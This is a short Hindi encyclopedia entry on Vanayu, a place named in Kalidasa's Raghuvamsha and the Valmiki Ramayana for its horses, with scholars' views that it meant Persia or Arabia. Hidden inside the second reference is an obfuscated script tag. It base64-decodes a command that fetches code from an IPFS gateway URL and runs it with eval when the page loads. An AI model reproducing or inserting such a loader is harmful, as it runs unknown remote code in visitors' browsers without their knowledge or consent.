वनायु  

वनायु नामक स्थान का उल्लेख महाकवि कालिदास ने अपने महाकाव्य 'रघुवंश' में किया है-

'दीर्घेष्वमी नियमिता: पटमंडपेषु निद्रांविहाय वनजाक्ष वनायुदेश्या: वक्त्रोष्मणा मलिनयन्ति पुरोगतानि, लेह्यानि सैंधवशिला शकलानि वाहां।'[१]

  • कालिदास ने उपरोक्त संदर्भ में वनायु प्रदेश के घोड़ों का उल्लेख किया है।
  • कोशकार हलायुध ने ‘पारसीका वनायुजाः’ कहकर वनायु को फ़ारस या ईरान माना है।
  • कुछ विद्धानों के मत में वनायु अरब देश का प्राचीन भारतीय नाम है।[२]
  • 'वाल्मीकि रामायण' के बालकाण्ड[३] में वनायु के श्याम वर्ण के अनेक घोड़ो से अयोध्या को भरीपूरी बताया गया है-

'कांवोजविषये जातैर्वाह्लीकैश्च हयोत्तमै: वनायुजैर्नदीजैश्चपूर्णा हरिहयोत्तमै:।'

  • कालिदास को उर्पयुक्त वर्णन की प्रेरणा अवश्य ही 'वाल्मीकि रामायण' के उल्लेख से मिली होगी, क्योंकि 'रघुवंश' में भी वनायु के घोड़ों का वर्णन अयोध्या के प्रसंग में ही है।


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टीका टिप्पणी और संदर्भ

  1. रघुवंश, 5, 73
  2. ऐतिहासिक स्थानावली |लेखक: विजयेन्द्र कुमार माथुर |प्रकाशक: राजस्थान हिन्दी ग्रंथ अकादमी, जयपुर |संकलन: भारतकोश पुस्तकालय |पृष्ठ संख्या: 832 | <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
  3. बालकाण्ड 6, 22

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